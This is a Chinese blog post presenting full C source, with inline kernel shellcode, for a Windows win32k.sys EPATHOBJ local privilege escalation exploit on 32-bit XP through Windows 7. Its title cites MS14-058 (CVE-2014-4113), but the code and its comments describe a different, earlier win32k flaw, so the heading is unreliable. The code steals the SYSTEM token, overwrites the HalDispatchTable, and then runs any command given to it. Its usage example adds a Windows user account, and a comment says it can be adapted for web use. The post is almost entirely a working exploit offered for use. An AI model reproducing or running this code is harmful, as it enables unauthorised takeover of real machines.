MS14-058(CVE-2014-4113)利用代码

本文介绍了一个针对 Win32k.sys 中 EPATHOBJ 组件的 0day 漏洞利用方法。通过精心构造的路径记录和内存分配策略,触发内核中的无限循环并最终实现权限提升。该漏洞适用于 Windows XP 至 Windows 7 的 32 位系统。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

///NT-WIN8 32位 通杀

//更改下可以在web中使用,成功率在30%左右

//成功一次蓝一次,有点蛋疼,shellcode的问题,要是有人解决了请指点

//编译方式:vc6.0

#include <stdio.h>

#include <STDARG.H>

#include <stddef.h>

#include <windows.h>

//#include <ntstatus.h>

#include "Shellapi.h"



#pragma comment(lib, "gdi32")

#pragma comment(lib, "kernel32")

#pragma comment(lib, "user32")



#define MAX_POLYPOINTS (8192 * 3)

#define MAX_REGIONS 8192

#define CYCLE_TIMEOUT 10000



#pragma comment(linker, "/SECTION:.text,ERW")



//

// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.

//

// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013

//



POINT       Points[MAX_POLYPOINTS];

BYTE        PointTypes[MAX_POLYPOINTS];

HRGN        Regions[MAX_REGIONS];

ULONG       NumRegion = 0;

HANDLE      Mutex;



// Log levels.

typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;



VOID LogInit();

VOID LogRelase();

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);



// Copied from winddi.h from the DDK

#define PD_BEGINSUBPATH   0x00000001

#define PD_ENDSUBPATH     0x00000002

#define PD_RESETSTYLE     0x00000004

#define PD_CLOSEFIGURE    0x00000008

#define PD_BEZIERS        0x00000010



#define ENABLE_SWITCH_DESKTOP  1



typedef struct  _POINTFIX

{

    ULONG x;

    ULONG y;

} POINTFIX, *PPOINTFIX;



// Approximated from reverse engineering.

typedef struct _PATHRECORD {

    struct _PATHRECORD *next;

    struct _PATHRECORD *prev;

    ULONG               flags;

    ULONG               count;

    POINTFIX            points[4];

} PATHRECORD, *PPATHRECORD;



PPATHRECORD PathRecord;

PATHRECORD  ExploitRecord = {0};

PPATHRECORD ExploitRecordExit;



typedef struct _RTL_PROCESS_MODULE_INFORMATION {

    HANDLE Section;                 // Not filled in

    PVOID MappedBase;

    PVOID ImageBase;

    ULONG ImageSize;

    ULONG Flags;

    USHORT LoadOrderIndex;

    USHORT InitOrderIndex;

    USHORT LoadCount;

    USHORT OffsetToFileName;

    UCHAR  FullPathName[ 256 ];

} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;



typedef struct _RTL_PROCESS_MODULES {

    ULONG NumberOfModules;

    RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];

} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;



typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );

typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );

typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );

typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);



NtQueryIntervalProfile_  NtQueryIntervalProfile;

NtAllocateVirtualMemory_ NtAllocateVirtualMemory;

NtQuerySystemInformation_ NtQuerySystemInformation;

NtFreeVirtualMemory_ NtFreeVirtualMemory;

ULONG    PsInitialSystemProcess, PsReferencePrimaryToken, 

     PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;



void _declspec(naked) ShellCode()

{

    __asm

    {

      pushad

      pushfd

      mov esi,PsReferencePrimaryToken

FindTokenOffset:

      lodsb

      cmp al, 8Dh;

      jnz FindTokenOffset

      mov edi,[esi+1]

      mov esi,PsInitialSystemProcess

      mov esi,[esi]

      push fs:[124h]

      mov eax,PsGetThreadProcess

      call eax

      add esi, edi

      push esi

      add edi, eax

      movsd

      

      ;add token ref count.

      pop esi

      mov esi, [esi]

      and esi, 0xFFFFFFF8

      lea eax, [esi-0x18]

      mov DWORD PTR [eax], 0x016B00B5

      ;fix the haltable

      mov eax, WriteToHalDispatchTable

      mov ecx, FixAddress

      mov [ecx], 0xC3

      mov DWORD PTR [eax], ecx



      popfd

      popad

      ;set ret code for NtQueryIntervalProfile

      mov eax, [esp+0xc]

      mov DWORD PTR [eax+4], 1

      mov DWORD PTR [eax+8], 0xC0000018

      xor eax, eax

      ret

    }

}



DWORD WINAPI WatchdogThread(LPVOID Parameter)

{

  //

    // This routine waits for a mutex object to timeout, then patches the

    // compromised linked list to point to an exploit. We need to do this.

    //



  LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());

  

    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {

    

    //

        // It looks like the main thread is stuck in a call to FlattenPath(),

        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean

        // up, and then patch the list to trigger our exploit.

        //



    while (NumRegion--)

            DeleteObject(Regions[NumRegion]);

    

        LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);

    

        InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);

    

    } else {

        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");

    }

  

    return 0;

}



void wellcome()

{

  printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");

  printf("*******************************************************************\n");

  printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");

  printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");

  printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");

  printf("*******************************************************************\n");

}



void usage()

{

  printf("\nusage:\n<app> <cmd> <parameter>\n");

  printf("example:\napp.exe net \"user 111 111 /add\"");

}



BOOL 

FindAFixAddress(

  ULONG NtoskrnlBase)

{

  FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);

  LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);

  return TRUE;



}



// 0x602464FF; /*jmp esp+0x60*/

// 0x51C3686A; /*push 0; ret*/

DWORD CheckMagicDword()

{

  OSVERSIONINFOEX OSVer;

  DWORD dwMagic = 0;



    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){

    switch(OSVer.dwMajorVersion){

    case 5:

      dwMagic = 0x602464FF;

      break;

    case 6:

      dwMagic = 0x642464FF;

      break;

    default:

      dwMagic = 0;

    }

  }

  return dwMagic;

}





int main(int argc, char **argv)

{

    HANDLE      Thread;

    HDC         Device;

    ULONG       Size;

    ULONG       PointNum;

  int nret = 0;

  

  DWORD MAGIC_DWORD = CheckMagicDword();

    ULONG AllocSize = 0x1000, status, NtoskrnlBase;

  RTL_PROCESS_MODULES  module;

  HMODULE ntoskrnl = NULL;

  DWORD dwFix;

  ULONG Address = MAGIC_DWORD & 0xFFFFF000;

  LONG ret;

  BOOL bRet = FALSE;

#ifdef ENABLE_SWITCH_DESKTOP

  HDESK hDesk;

#endif

    HMODULE  ntdll = GetModuleHandle( "ntdll.dll" );

  

  wellcome();



  if (argc < 2){

    usage();

    return -1;

  }



  if (!MAGIC_DWORD){

    LogMessage(L_ERROR, "unsupported system version\n");

    return -1;

  }



  LogInit();



  NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );

    NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );

    NtQuerySystemInformation  =  (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );

  NtFreeVirtualMemory =  (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );

    if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory || 

     !NtQuerySystemInformation || !NtFreeVirtualMemory){

    LogMessage(L_ERROR, "get function address error\n");

    LogRelase();

    return -1;

  }

  

  //

  // try to allocate memory.

  //



  while (TRUE){

    ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    if(ret < 0){

      MEMORY_BASIC_INFORMATION meminfo;

      LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);

      LogMessage(L_INFO, "try to free memory");

      if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){

        LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);

      }

      ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);

      if (ret < 0){

        LogMessage(L_ERROR, "free memory error code 0x%08x", ret);

        LogRelase();

        return -1;

      }

    }else{

      break;

    }

  }

  

  //

  // get the kernel info

  //



    status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11

    if ( status != 0xC0000004 ){

    LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);

        LogRelase();

    return -1;

  }

  

    NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;

  

    //

    // 把ntoskrnl.exe加载进来

    //

  

    ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );

    if (ntoskrnl == NULL){

    LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());

        LogRelase();

    return -1;

  }

   

    //

    // 计算实际地址

    //

  

    WriteToHalDispatchTable =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;

    PsInitialSystemProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

    PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;

    PsGetThreadProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

  

  if(!FindAFixAddress(NtoskrnlBase)){

    LogMessage(L_ERROR, "Can not Find A Fix Address\n");

    nret = -1;

    goto __end;

  }



  //

    // Create our PATHRECORD in user space we will get added to the EPATHOBJ

    // pathrecord chain.

    //



  PathRecord = (PPATHRECORD)VirtualAlloc(NULL,

                              sizeof(PATHRECORD),

                              MEM_COMMIT | MEM_RESERVE,

                              PAGE_EXECUTE_READWRITE);



    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

  

  //

    // Initialize with recognizable debugging values.

    //



  FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);



    PathRecord->next    = PathRecord;

    PathRecord->prev    = (PPATHRECORD)(0x42424242);

  

  //

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from

    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite

    // loop in EPATHOBJ::bFlatten().

    //



  PathRecord->flags   = 0;



    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);

    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);

    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

  

  ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;

  ExploitRecordExit->next = NULL;

  ExploitRecordExit->next = NULL;

  ExploitRecordExit->flags = PD_BEGINSUBPATH;

  ExploitRecordExit->count = 0;

  



  ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;

    ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;

    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;

  ExploitRecord.count = 4;

  

    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

  

  //

    // Generate a large number of Belier Curves made up of pointers to our

    // PATHRECORD object.

    //



  for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {

        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;

        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;

        PointTypes[PointNum]    = PT_BEZIERTO;

    }



  //

    // Switch to a dedicated desktop so we don't spam the visible desktop with

    // our Lines (Not required, just stops the screen from redrawing slowly).

    //

#ifdef ENABLE_SWITCH_DESKTOP

  hDesk = CreateDesktop( "DontPanic",

              NULL,

              NULL,

              0,

              GENERIC_ALL,

               NULL);

  if (hDesk){

    SetThreadDesktop(hDesk);

  }

#endif

  

  while (TRUE){



    BOOL bBreak = FALSE;



    Mutex = CreateMutex(NULL, TRUE, NULL);

    if (!Mutex){

      LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

      nret = -1;

      goto __end;

    }

    

    //

    // Get a handle to this Desktop.

    //



    Device = GetDC(NULL);

    

    //

    // Spawn a thread to cleanup

    //



    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    

    LogMessage(L_INFO, "start CreateRoundRectRgn");

    

    //

    // We need to cause a specific AllocObject() to fail to trigger the

    // exploitable condition. To do this, I create a large number of rounded

    // rectangular regions until they start failing. I don't think it matters

    // what you use to exhaust paged memory, there is probably a better way.

    //

    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on

    // failure. Seriously, do some damn QA Microsoft, wtf.

    //



    for (Size = 1 << 26; Size; Size >>= 1) {

      while (TRUE){

        HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);

        if (!hm){

          break;

        }

        if (NumRegion < MAX_REGIONS){

          Regions[NumRegion] = hm;

          NumRegion++;

        }else{

          NumRegion = 0;

        }

      }

    }



    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);



    LogMessage(L_INFO, "Flattening curves...");

    

    //

    // Begin filling the free list with our points.

    //

    

    dwFix = *(PULONG)ShellCode;



    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {

      BeginPath(Device);

      PolyDraw(Device, Points, PointTypes, PointNum);

      EndPath(Device);

      FlattenPath(Device);

      FlattenPath(Device);

      

      //

      // call the function to exploit.

      //



      ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);

      

      //

      // we will set the status with 0xC0000018 in ring0 shellcode.

      //



      if (*(PULONG)ShellCode == 0xC0000018){

        bRet = TRUE;

        break;

      }

      

      //

      // fix

      //

      

      *(PULONG)ShellCode = dwFix;



      EndPath(Device);

    }

    

    if (bRet){

      LogMessage(L_INFO, "Exploit ok run command");

      ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);

      bBreak = TRUE;

    }else{

      LogMessage(L_INFO, "No luck, cleaning up. and try again..");

    }

    

    //

    // If we reach here, we didn't trigger the condition. Let the other thread know.

    //



    ReleaseMutex(Mutex);

    

    ReleaseDC(NULL, Device);

    WaitForSingleObject(Thread, INFINITE);



    if (bBreak){

      break;

    }



  }

__end:

  LogRelase();

  if (ntoskrnl)

    FreeLibrary(ntoskrnl);

#ifdef ENABLE_SWITCH_DESKTOP

  if (hDesk){

    CloseHandle(hDesk);

  }

#endif

    return nret;

}



CRITICAL_SECTION gCSection;



VOID LogInit()

{

  InitializeCriticalSection(&gCSection);

}



VOID LogRelase()

{

  DeleteCriticalSection(&gCSection);

}



//

// A quick logging routine for debug messages.

//



BOOL LogMessage(LEVEL Level, PCHAR Format, ...)

{

    CHAR Buffer[1024] = {0};

    va_list Args;

  

  EnterCriticalSection(&gCSection);



    va_start(Args, Format);

    _snprintf(Buffer, sizeof(Buffer), Format, Args);

    va_end(Args);



    switch (Level) {

        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;

        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;

        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;

        case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;

    }

  

    fflush(stdout);

    fflush(stderr);

  

  LeaveCriticalSection(&gCSection);



    return TRUE;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值